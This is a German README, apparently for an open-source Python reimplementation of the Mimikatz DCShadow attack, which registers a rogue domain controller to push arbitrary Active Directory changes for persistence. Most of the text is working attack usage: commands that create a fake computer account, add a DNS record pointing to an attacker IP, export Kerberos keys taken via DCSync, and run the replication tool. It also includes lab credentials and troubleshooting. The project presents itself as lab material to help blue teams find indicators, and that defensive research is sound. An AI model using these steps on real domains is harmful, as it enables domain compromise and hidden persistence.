
Python-Alternative zu Mimikatz lsadump::dcshadow
[!WARNING] NICHT IN PRODUKTION AUSFÜHREN. Dies ist für Labortests gedacht, damit Blue Teams an der Identifizierung von IoCs, Ereignistypen und Verhalten arbeiten können. Dieses Tool wird außerdem ohne jegliche Gewährleistung bereitgestellt. Abgesehen von der üblichen Überprüfung von Pull Requests, die du erstellen möchtest, ist kein Support geplant. Führe dies nicht von einem Windows-Host aus. Tue es von Linux oder von einer VM aus (um RPC-Dienstkonflikte zu vermeiden).
Dieses Projekt soll eine reine Python-Alternative zur dcshadow-Technik von Mimikatz sein. Es enthält ein angepasstes Impacket mit modifizierten crypto, gssapi und drsuapi unter anderem.
DCShadow ist eine mächtige Persistenztechnik, die als Transport für andere Techniken angesehen werden kann, wie SID-Historie, KRBTGT RBCD, ACE-Missbrauch und mehr.
Dieses Tool könnte eine Grundlage für ein vielseitigeres AD-Persistenz-Framework sein, das von unserer Community genutzt werden könnte, um unsere globale Reife in diesem Bereich zu erhöhen.
Dieses Tool wurde auf GOAD getestet.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
Diese Maschine wird für die Dauer der Replikation als Domänencontroller registriert und am Ende wieder abgemeldet.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py ist so modifiziert, dass
msDS-SupportedEncryptionTypesauf0x1fgesetzt wird. Neueste Tests scheinen eine Einschränkungsverletzung (Constraint Violation) auszulösen.[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}Verwende vorerst das reguläre addcomputer.py-Skript von Impacket und ändere
msDS-SupportedEncryptionTypesmanuell über den ADSI-Editor.
Dies ist erforderlich, damit der legitime DC weiß, wie er den Rogue-DC erreichen kann, und Fehler vom Typ ERROR_DS_DNS_LOOKUP_FAILURE vermeidet.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] Sollte der Befehl aus irgendeinem Grund nicht funktionieren, füge den DNS-Eintrag manuell über die DNS-Tools auf dem Domänencontroller hinzu.
Als wir mit der Entwicklung dieses Tools begannen, verwendeten wir hartcodierte Anmeldeinformationen in einer .env-Datei, die in der Funktion gss_kerberos_ap_req in der Datei dcshadow/utils/server/RpcServer.py geladen wurden.
Das muss dringend verbessert werden. Das Passwort des Rogue-DC-Kontos könnte als CLI-Argument übergeben und die Kerberos-Schlüssel berechnet werden. Krbrelayx macht das bereits, ebenso dacledit.py; das müsste nur kopiert und eingefügt werden.
Derzeit musst du die Kerberos-Schlüssel als Umgebungsvariablen exportieren.
Es sollte wie folgt aussehen:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
Diese Schlüssel können durch einen DCSync-Angriff abgerufen werden.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] In diesem Fall wird eine
repl.json-Datei verwendet, um die Zielobjekte und Attribute festzulegen. Alternativ unterstützt das Tool Inline-Optionen (z. B.--object,--attributeund--value).
Wenn DRSReplicaAdd eine Zeitüberschreitung verursacht, handelt es sich wahrscheinlich um ein Netzwerk-/Firewall-Problem auf dem Computer, auf dem dcshadow.py läuft (dem Rogue-DC). Dieser lässt wahrscheinlich eingehenden Datenverkehr auf 135/TCP (epmapper) und 1337/TCP (oder in Zukunft einem dynamischen Port für drsuapi) nicht zu.
Du müsstest Wireshark auf dem legitimen Domänencontroller ausführen, aber die wahrscheinlichste Ursache ist, dass du dies auf einem Windows-Rechner auszuführen versuchst. Wenn der legitime DC den epmapper deines Rogue-DC nach dem Port des drsuapi-Endpunkts fragt, ist die Antwort leer, weil der epmapper deines eigenen Windows-Rechners antwortet und nicht unser benutzerdefinierter.
Dieses Projekt wäre ohne die immense Hilfe von Alessandro Iandoli „MrAle98“ nicht möglich gewesen, einem talentierten Forscher, den ich während der Entwicklung kennengelernt habe. Danke, Alessandro!
Die Anerkennung gebührt Benjamin Delpy und Vincent Letoux für die ursprüngliche Entdeckung, Vorträge und die Implementierung in Mimikatz.
Ich möchte auch Volker danken, der an der frühen Entwicklung beteiligt war.
Dank an Dramelac für die Hilfe beim Übergang vom PoC zu einem modularen Projekt, einer Grundlage für ein zukünftiges Framework, falls es jemals so weit kommt.